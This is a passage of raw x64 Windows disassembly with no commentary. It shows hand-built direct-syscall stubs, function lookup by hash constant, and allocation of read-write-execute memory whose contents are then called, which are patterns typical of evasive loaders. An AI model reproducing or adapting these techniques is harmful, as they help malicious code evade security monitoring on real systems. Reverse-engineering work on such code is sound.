lea rcx, [rsp + 0xfe80]
call fcn.1400a0f80
lea rcx, [rsp + 0x4060]
call fcn.1400a2c10
mov qword [rsp + 0xad40], rax
mov rax, qword [rsp + 0xad40]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2ab8], eax
mov eax, dword [rsp + 0x2ab8]
mov dword [rsp + 0x66bc], eax
lea rax, [rsp + 0x66c0]
mov qword [rsp + 0xad48], rax
mov eax, dword [rsp + 0x66bc]
mov dword [rsp + 0x2ac0], eax
mov rax, qword [rsp + 0xad48]
add rax, 0x11
mov qword [rsp + 0xad50], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xad50]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2ac0]
mov dword [rax], ecx
lea rax, [rsp + 0x66c0]
mov qword [rsp + 0x678], rax
mov rax, qword [rsp + 0x678]
add rax, 0x10
mov qword [rsp + 0x116f0], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xad58], rax
mov qword [rsp + 0x6040], 0
mov qword [rsp + 0xad60], 0xd
mov rax, qword [rsp + 0xad58]
mov qword [rsp + 0xad68], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xad60]
xor r8d, r8d
lea rdx, [rsp + 0x6040]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xad68]
mov dword [rsp + 0x2ac8], eax
cmp dword [rsp + 0x2ac8], 0
jl 0x140144e49
mov rax, qword [rsp + 0x6040]
mov qword [rsp + 0x6048], rax
jmp 0x140144e55
mov qword [rsp + 0x6048], 0
mov rax, qword [rsp + 0x6048]
mov qword [rsp + 0xad70], rax
mov rax, qword [rsp + 0x678]
mov rcx, qword [rsp + 0xad70]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x678]
cmp qword [rax + 8], 0
jne 0x140144e8a
jmp 0x140144ece
mov rax, qword [rsp + 0x678]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x678]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x678]
mov rcx, qword [rsp + 0x678]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x66c0]
mov qword [rsp + 0xadc8], rax
mov rax, qword [rsp + 0xad78]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xad80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xad88]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xad90]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xad98]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xada0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xada8]
mov r8, qword [rsp + 0xadb0]
mov rdx, qword [rsp + 0xadb8]
mov rcx, qword [rsp + 0xadc0]
call qword [rsp + 0xadc8]
mov dword [rsp + 0x2acc], eax
lea rcx, [rsp + 0x66b8]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2acc]
mov dword [rsp + 0x2ad0], eax
cmp dword [rsp + 0x2ad0], 0
jge 0x140144f89
mov byte [rsp + 0x88], 0
jmp 0x140144f91
mov byte [rsp + 0x88], 1
movzx eax, byte [rsp + 0x88]
test eax, eax
je 0x140158ce4
movzx eax, word [rsp + 0xd370]
xor edx, edx
mov ecx, 2
div rcx
inc rax
mov rdx, rax
lea rcx, [rsp + 0x1110]
call fcn.140097ca0
nop
lea rcx, [rsp + 0x1110]
call fcn.1400a2c10
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xadd0], rax
movzx eax, word [rsp + 0xd370]
mov qword [rsp + 0x6060], rax
mov rax, qword [rsp + 0xd378]
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0xadd0]
mov qword [rsp + 0xae18], rax
cmp qword [rsp + 0x6058], 0
je 0x14014503d
cmp qword [rsp + 0x6050], 0
je 0x14014503d
cmp qword [rsp + 0x6060], 0
jne 0x14014504a
mov byte [rsp + 0x89], 0
jmp 0x1401461ad
lea rax, [rsp + 0xda48]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xda48], 0x33
mov rax, qword [rsp + 0x6050]
mov qword [rsp + 0xda58], rax
mov rax, qword [rsp + 0x6058]
mov qword [rsp + 0xda60], rax
mov rax, qword [rsp + 0x6060]
mov qword [rsp + 0xda68], rax
mov dword [rsp + 0x2b14], 0
mov qword [rsp + 0xade0], 0
mov qword [rsp + 0xade8], 0x28
lea rax, [rsp + 0xda48]
mov qword [rsp + 0xadf0], rax
lea rax, [rsp + 0x129d8]
mov qword [rsp + 0xadf8], rax
mov qword [rsp + 0xae00], 0
mov qword [rsp + 0xae08], 0
mov qword [rsp + 0xae10], 0
mov dword [rsp + 0x2ad4], 0x9363e455
mov eax, dword [rsp + 0x2ad4]
mov dword [rsp + 0x2ad8], eax
lea rcx, [rsp + 0x2ad8]
call fcn.1400a2c20
mov dword [rsp + 0x66e0], eax
mov dword [rsp + 0x66e4], 0
lea rax, [rsp + 0x66e8]
mov qword [rsp + 0xadd8], rax
mov dword [rsp + 0x2b10], 0x49
mov dword [rsp + 0x2b0c], 0x89
mov dword [rsp + 0x2b08], 0xca
mov dword [rsp + 0x2b04], 0x48
mov dword [rsp + 0x2b00], 0xc7
mov dword [rsp + 0x2afc], 0xc0
mov dword [rsp + 0x2af8], 0x3f
mov dword [rsp + 0x2af4], 0x10
mov dword [rsp + 0x2af0], 0
mov dword [rsp + 0x2aec], 0
mov dword [rsp + 0x2ae8], 0xf
mov dword [rsp + 0x2ae4], 5
mov dword [rsp + 0x2ae0], 0xc3
lea rax, [rsp + 0x2ae0]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2ae4]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2ae8]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2aec]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2af4]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2af8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2afc]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2b00]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2b04]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2b08]
lea r8, [rsp + 0x2b0c]
lea rdx, [rsp + 0x2b10]
mov rcx, qword [rsp + 0xadd8]
call fcn.14008f900
mov byte [rsp + 0x3c3], 1
mov byte [rsp + 0x3c4], 0
movsxd rax, dword [rsp + 0x2b14]
mov qword [rsp + 0xaf50], rax
mov byte [rsp + 0x3c5], 0
mov byte [rsp + 0x3c6], 0
mov rax, qword [rsp + 0xade0]
mov qword [rsp + 0xaf58], rax
mov byte [rsp + 0x3c7], 0
mov byte [rsp + 0x3c8], 1
mov rax, qword [rsp + 0xade8]
mov qword [rsp + 0xaf60], rax
mov byte [rsp + 0x3c9], 0
mov byte [rsp + 0x3ca], 0
mov rax, qword [rsp + 0xadf0]
mov qword [rsp + 0xaf68], rax
mov byte [rsp + 0x3cb], 0
mov byte [rsp + 0x3cc], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xaf70], rax
mov byte [rsp + 0x3cd], 0
mov byte [rsp + 0x3ce], 0
mov rax, qword [rsp + 0xadf8]
mov qword [rsp + 0xaf78], rax
mov byte [rsp + 0x3cf], 0
mov byte [rsp + 0x3d0], 0
mov rax, qword [rsp + 0xae00]
mov qword [rsp + 0xaf80], rax
mov byte [rsp + 0x3d1], 0
mov byte [rsp + 0x3d2], 0
mov rax, qword [rsp + 0xae08]
mov qword [rsp + 0xaf88], rax
mov byte [rsp + 0x3d3], 0
mov byte [rsp + 0x3d4], 0
mov rax, qword [rsp + 0xae10]
mov qword [rsp + 0xaf90], rax
mov byte [rsp + 0x3d5], 0
mov byte [rsp + 0x3d6], 0
mov rax, qword [rsp + 0xae18]
mov qword [rsp + 0xaf98], rax
mov eax, dword [rsp + 0x66e0]
mov dword [rsp + 0x2b18], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfe90]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xae20], rax
lea r8, [rsp + 0x2b18]
lea rdx, [rsp + 0x6068]
mov rcx, qword [rsp + 0xae20]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xae28], rax
lea rdx, [rsp + 0x10f58]
mov rcx, qword [rsp + 0xae28]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x6068]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14014545f
mov qword [rsp + 0x6070], 0
jmp 0x140145478
lea rcx, [rsp + 0x6068]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x6070], rax
mov rax, qword [rsp + 0x6070]
mov qword [rsp + 0xae30], rax
lea rcx, [rsp + 0xfe90]
call fcn.1400a0f10
mov rax, qword [rsp + 0xae30]
mov qword [rsp + 0x6078], rax
cmp qword [rsp + 0x6078], 0
je 0x1401454d5
mov rax, qword [rsp + 0x6078]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2b20], eax
mov eax, dword [rsp + 0x2b20]
mov dword [rsp + 0x66e4], eax
jmp 0x140145f63
lea rax, [rsp + 0xd558]
mov qword [rsp + 0xae38], rax
xor edx, edx
mov rcx, qword [rsp + 0xae38]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2b24], eax
lea rax, [rsp + 0xd55c]
mov qword [rsp + 0xae40], rax
mov edx, dword [rsp + 0x66e0]
mov rcx, qword [rsp + 0xae40]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2b28], eax
mov eax, dword [rsp + 0x2b24]
mov dword [rsp + 0xce8], eax
mov eax, dword [rsp + 0x2b28]
mov dword [rsp + 0xd00], eax
xor edx, edx
lea rcx, [rsp + 0x2b2c]
call fcn.14009b2f0
lea rdx, [rsp + 0x2b2c]
lea rcx, [rsp + 0xd00]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x140145582
mov qword [rsp + 0x1468], 0
jmp 0x140145e81
mov byte [rsp + 0x3d7], 1
mov qword [rsp + 0x6a40], 0
mov qword [rsp + 0x6a48], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x4068], rax
mov eax, 1
test eax, eax
je 0x1401455d4
mov rax, qword [rsp + 0x4068]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x6080], rax
jmp 0x1401455e7
mov rax, qword [rsp + 0x4068]
mov rax, qword [rax]
mov qword [rsp + 0x6080], rax
mov rax, qword [rsp + 0x6080]
mov qword [rsp + 0x6a40], rax
mov rax, qword [rsp + 0x4068]
mov qword [rsp + 0x6a48], rax
lea rax, [rsp + 0x6a40]
mov qword [rsp + 0x6088], rax
lea rdx, [rsp + 0x1460]
mov rcx, qword [rsp + 0x6088]
call fcn.14018efb0
lea rdx, [rsp + 0xae48]
mov rcx, qword [rsp + 0x6088]
call fcn.140190a30
jmp 0x140145656
mov rax, qword [rsp + 0x1460]
mov rax, qword [rax]
mov qword [rsp + 0x1460], rax
mov rax, qword [rsp + 0xae48]
cmp qword [rsp + 0x1460], rax
je 0x140145675
mov dword [rsp + 0xce4], 1
jmp 0x140145680
mov dword [rsp + 0xce4], 0
movzx eax, byte [rsp + 0xce4]
test eax, eax
je 0x140145e75
xor edx, edx
mov rcx, qword [rsp + 0x1460]
call fcn.140096d90
mov qword [rsp + 0xae50], rax
lea rax, [rsp + 0xae50]
mov qword [rsp + 0x6090], rax
xor edx, edx
lea rcx, [rsp + 0x2b30]
call fcn.14009b2f0
lea rdx, [rsp + 0x2b30]
lea rcx, [rsp + 0xce8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140145920
mov rax, qword [rsp + 0x6090]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xae58], rax
lea rdx, [rsp + 0x129e8]
mov rcx, qword [rsp + 0xae58]
call fcn.14019acf0
lea rcx, [rsp + 0xfea0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xce8]
mov dword [rsp + 0x2b34], eax
lea rax, [rsp + 0xd380]
lea rcx, [rsp + 0xfea0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2b34]
mov dword [rsp + 0xcf0], eax
lea rax, [rsp + 0x2b38]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2b38]
call fcn.14009b310
mov qword [rsp + 0xae60], rax
lea rax, [rsp + 0xfeb0]
lea rcx, [rsp + 0xd380]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfec0]
lea rcx, [rsp + 0xfeb0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfec0]
mov rcx, qword [rsp + 0xae60]
call fcn.140097890
mov dword [rsp + 0x2b40], eax
lea rcx, [rsp + 0xd380]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xae68], rax
mov r9, qword [rsp + 0xae68]
xor r8d, r8d
lea rdx, [rsp + 0xfed0]
lea rcx, [rsp + 0xd380]
call fcn.14019ab70
lea rax, [rsp + 0x2b3c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2b3c]
call fcn.14009b310
mov qword [rsp + 0xae70], rax
lea rax, [rsp + 0xfee0]
lea rcx, [rsp + 0xfed0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfef0]
lea rcx, [rsp + 0xfee0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfef0]
mov rcx, qword [rsp + 0xae70]
call fcn.140097890
mov dword [rsp + 0x2b48], eax
mov edx, dword [rsp + 0x2b40]
lea rcx, [rsp + 0x2b44]
call fcn.14009b2f0
lea rdx, [rsp + 0x2b44]
lea rcx, [rsp + 0xcf0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140145904
mov edx, dword [rsp + 0x2b48]
lea rcx, [rsp + 0x2b4c]
call fcn.14009b2f0
lea rdx, [rsp + 0x2b4c]
lea rcx, [rsp + 0xcf0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140145904
mov dword [rsp + 0xcf8], 1
jmp 0x14014590f
mov dword [rsp + 0xcf8], 0
movzx eax, byte [rsp + 0xcf8]
test eax, eax
je 0x140145920
jmp 0x140145643
mov rax, qword [rsp + 0x6090]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x6098], rax
mov rax, qword [rsp + 0x6098]
mov qword [rsp + 0x4538], rax
mov rax, qword [rsp + 0x6098]
mov qword [rsp + 0xae78], rax
mov rax, qword [rsp + 0xae78]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xae80], rax
mov rax, qword [rsp + 0xae80]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xae88], rax
mov eax, dword [rsp + 0xae88]
add rax, qword [rsp + 0x4538]
mov qword [rsp + 0xae90], rax
mov rax, qword [rsp + 0xae90]
mov qword [rsp + 0x4540], rax
lea rdx, [rsp + 0xd00]
lea rcx, [rsp + 0xd560]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11ef8]
lea rcx, [rsp + 0x4538]
call fcn.140097040
lea rdx, [rsp + 0x13a60]
lea rcx, [rsp + 0x4538]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11ef8]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140145a0c
jmp 0x140145643
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140145a8f
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11f08]
mov qword [rsp + 0x60a0], rax
mov rcx, qword [rsp + 0x60a0]
call fcn.140097960
mov qword [rsp + 0x10f60], rax
mov rcx, qword [rsp + 0x60a0]
call fcn.140097950
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x4078]
mov rax, qword [rax]
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x4538]
mov qword [rsp + 0xae98], rax
mov rax, qword [rsp + 0xae98]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xaea0], rax
mov rax, qword [rsp + 0xaea0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x60a8], rax
mov eax, dword [rsp + 0x60a8]
add rax, qword [rsp + 0x4538]
mov qword [rsp + 0x60b0], rax
mov eax, dword [rsp + 0x60ac]
mov rcx, qword [rsp + 0x60b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaea8], rax
mov rax, qword [rsp + 0x60b0]
cmp qword [rsp + 0x60b8], rax
jb 0x140145b81
mov rax, qword [rsp + 0xaea8]
cmp qword [rsp + 0x60b8], rax
jae 0x140145b81
mov dword [rsp + 0xd08], 1
jmp 0x140145b8c
mov dword [rsp + 0xd08], 0
movzx eax, byte [rsp + 0xd08]
mov byte [rsp + 0xfa], al
movzx eax, byte [rsp + 0xfa]
test eax, eax
je 0x140145e5b
mov rax, qword [rsp + 0x4078]
mov rax, qword [rax]
mov qword [rsp + 0xaeb0], rax
mov rax, qword [rsp + 0xaeb0]
mov qword [rsp + 0xaeb8], rax
lea rax, [rsp + 0x129f8]
mov qword [rsp + 0xaec0], rax
mov rdx, qword [rsp + 0xaeb8]
mov rcx, qword [rsp + 0xaec0]
call fcn.140095590
lea rcx, [rsp + 0x6a50]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6a50]
call fcn.140191090
mov qword [rsp + 0x4070], rax
cmp qword [rsp + 0x4070], 0xffffffffffffffff
je 0x140145c96
mov r9, qword [rsp + 0x4070]
xor r8d, r8d
lea rdx, [rsp + 0xff10]
lea rcx, [rsp + 0x6a50]
call fcn.14019aaa0
mov rax, qword [rsp + 0x4070]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xff00]
lea rcx, [rsp + 0x6a50]
call fcn.14019aaa0
lea r8, [rsp + 0xff00]
lea rdx, [rsp + 0xff10]
lea rcx, [rsp + 0x11330]
call fcn.14008f7e0
jmp 0x140145cd1
lea rax, [rsp + 0x6a50]
mov qword [rsp + 0xaec8], rax
lea rcx, [rsp + 0xff20]
call fcn.140099fb0
lea r8, [rsp + 0xff20]
mov rdx, qword [rsp + 0xaec8]
lea rcx, [rsp + 0x11330]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11330]
call fcn.140097960
mov qword [rsp + 0xaed0], rax
lea rcx, [rsp + 0x11330]
call fcn.140097950
mov qword [rsp + 0xaee8], rax
lea rax, [rsp + 0xd564]
mov qword [rsp + 0xaee0], rax
lea rax, [rsp + 0x2b50]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2b50]
call fcn.14009b310
mov qword [rsp + 0xaed8], rax
lea rax, [rsp + 0xff30]
mov rdi, rax
mov rsi, qword [rsp + 0xaed0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xff40]
lea rcx, [rsp + 0xff30]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xff40]
mov rcx, qword [rsp + 0xaed8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xaee0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2b58], eax
lea rax, [rsp + 0x6fa0]
mov qword [rsp + 0xaef8], rax
lea rax, [rsp + 0x2b54]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2b54]
call fcn.14009b310
mov qword [rsp + 0xaef0], rax
lea rax, [rsp + 0xff50]
mov rdi, rax
mov rsi, qword [rsp + 0xaee8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xff60]
lea rcx, [rsp + 0xff50]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xff60]
mov rcx, qword [rsp + 0xaef0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xaef8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2b5c], eax
mov r8d, dword [rsp + 0x2b58]
mov edx, dword [rsp + 0x2b5c]
lea rcx, [rsp + 0x4080]
call fcn.140191150
mov qword [rsp + 0x1468], rax
jmp 0x140145e81
mov rax, qword [rsp + 0x4078]
mov rax, qword [rax]
mov qword [rsp + 0x1468], rax
jmp 0x140145e81
mov qword [rsp + 0x1468], 0
mov rax, qword [rsp + 0x1468]
mov qword [rsp + 0x4080], rax
lea rcx, [rsp + 0x4080]
call fcn.1400a2c10
mov qword [rsp + 0xaf00], rax
mov eax, dword [rsp + 0x66e0]
mov dword [rsp + 0x2b60], eax
mov rax, qword [rsp + 0xaf00]
mov qword [rsp + 0xaf08], rax
mov eax, dword [rsp + 0x2b60]
mov dword [rsp + 0x2b68], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xff70]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xaf10], rax
lea r9, [rsp + 0xaf08]
lea r8, [rsp + 0x2b68]
lea rdx, [rsp + 0x12a08]
mov rcx, qword [rsp + 0xaf10]
call fcn.140098320
lea rcx, [rsp + 0xff70]
call fcn.1400a0f80
lea rcx, [rsp + 0x4080]
call fcn.1400a2c10
mov qword [rsp + 0xaf18], rax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2b70], eax
mov eax, dword [rsp + 0x2b70]
mov dword [rsp + 0x66e4], eax
lea rax, [rsp + 0x66e8]
mov qword [rsp + 0xaf20], rax
mov eax, dword [rsp + 0x66e4]
mov dword [rsp + 0x2b78], eax
mov rax, qword [rsp + 0xaf20]
add rax, 0x11
mov qword [rsp + 0xaf28], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xaf28]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2b78]
mov dword [rax], ecx
lea rax, [rsp + 0x66e8]
mov qword [rsp + 0x680], rax
mov rax, qword [rsp + 0x680]
add rax, 0x10
mov qword [rsp + 0x10f68], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xaf30], rax
mov qword [rsp + 0x60c0], 0
mov qword [rsp + 0xaf38], 0xd
mov rax, qword [rsp + 0xaf30]
mov qword [rsp + 0xaf40], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xaf38]
xor r8d, r8d
lea rdx, [rsp + 0x60c0]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xaf40]
mov dword [rsp + 0x2b80], eax
cmp dword [rsp + 0x2b80], 0
jl 0x140146065
mov rax, qword [rsp + 0x60c0]
mov qword [rsp + 0x60c8], rax
jmp 0x140146071
mov qword [rsp + 0x60c8], 0
mov rax, qword [rsp + 0x60c8]
mov qword [rsp + 0xaf48], rax
mov rax, qword [rsp + 0x680]
mov rcx, qword [rsp + 0xaf48]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x680]
cmp qword [rax + 8], 0
jne 0x1401460a6
jmp 0x1401460ea
mov rax, qword [rsp + 0x680]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x680]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x680]
mov rcx, qword [rsp + 0x680]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x66e8]
mov qword [rsp + 0xafa0], rax
mov rax, qword [rsp + 0xaf50]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xaf58]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xaf60]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xaf68]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xaf70]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xaf78]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xaf80]
mov r8, qword [rsp + 0xaf88]
mov rdx, qword [rsp + 0xaf90]
mov rcx, qword [rsp + 0xaf98]
call qword [rsp + 0xafa0]
mov dword [rsp + 0x2b84], eax
lea rcx, [rsp + 0x66e0]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2b84]
mov dword [rsp + 0x2b88], eax
cmp dword [rsp + 0x2b88], 0
jge 0x1401461a5
mov byte [rsp + 0x89], 0
jmp 0x1401461ad
mov byte [rsp + 0x89], 1
movzx eax, byte [rsp + 0x89]
test eax, eax
je 0x140158cd7
lea rcx, [rsp + 0x12578]
call fcn.1400f5690
mov qword [rsp + 0xafa8], rax
mov rax, qword [rsp + 0xafa8]
mov qword [rsp + 0xafb0], rax
mov rcx, qword [rsp + 0xafb0]
call fcn.14018efe0
mov qword [rsp + 0xafb8], rax
lea rcx, [rsp + 0x1110]
call fcn.1400a2c10
mov qword [rsp + 0xafc0], rax
mov rdx, qword [rsp + 0xafb8]
mov rcx, qword [rsp + 0xafc0]
call fcn.14019b7a0
mov qword [rsp + 0xafc8], rax
lea rcx, [rsp + 0x12578]
call fcn.1400a0d90
cmp qword [rsp + 0xafc8], 0
je 0x140158cd7
mov byte [rsp + 0x93], 0
mov rax, qword [rsp + 0x1b0]
sub rax, 0x10
mov qword [rsp + 0xb1a8], rax
mov dword [rsp + 0x160], 0
jmp 0x14014627e
mov eax, dword [rsp + 0x160]
inc eax
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0x100
jge 0x14014868b
mov qword [rsp + 0x46b8], 0
lea rax, [rsp + 0x46b8]
mov qword [rsp + 0x60d8], rax
mov eax, dword [rsp + 0x160]
shl eax, 3
cdqe
mov rcx, qword [rsp + 0x1480]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60d0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xafd0], rax
mov rax, qword [rsp + 0xafd0]
mov qword [rsp + 0xb018], rax
cmp qword [rsp + 0x60d8], 0
je 0x14014630b
cmp qword [rsp + 0x60d0], 0
je 0x14014630b
xor eax, eax
cmp rax, 8
jne 0x140146318
mov byte [rsp + 0x91], 0
jmp 0x140147477
lea rax, [rsp + 0xda70]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xda70], 0x33
mov rax, qword [rsp + 0x60d0]
mov qword [rsp + 0xda80], rax
mov rax, qword [rsp + 0x60d8]
mov qword [rsp + 0xda88], rax
mov qword [rsp + 0xda90], 8
mov dword [rsp + 0x2bcc], 0
mov qword [rsp + 0xafe0], 0
mov qword [rsp + 0xafe8], 0x28
lea rax, [rsp + 0xda70]
mov qword [rsp + 0xaff0], rax
lea rax, [rsp + 0x12a18]
mov qword [rsp + 0xaff8], rax
mov qword [rsp + 0xb000], 0
mov qword [rsp + 0xb008], 0
mov qword [rsp + 0xb010], 0
mov dword [rsp + 0x2b8c], 0x9363e455
mov eax, dword [rsp + 0x2b8c]
mov dword [rsp + 0x2b90], eax
lea rcx, [rsp + 0x2b90]
call fcn.1400a2c20
mov dword [rsp + 0x6708], eax
mov dword [rsp + 0x670c], 0
lea rax, [rsp + 0x6710]
mov qword [rsp + 0xafd8], rax
mov dword [rsp + 0x2bc8], 0x49
mov dword [rsp + 0x2bc4], 0x89
mov dword [rsp + 0x2bc0], 0xca
mov dword [rsp + 0x2bbc], 0x48
mov dword [rsp + 0x2bb8], 0xc7
mov dword [rsp + 0x2bb4], 0xc0
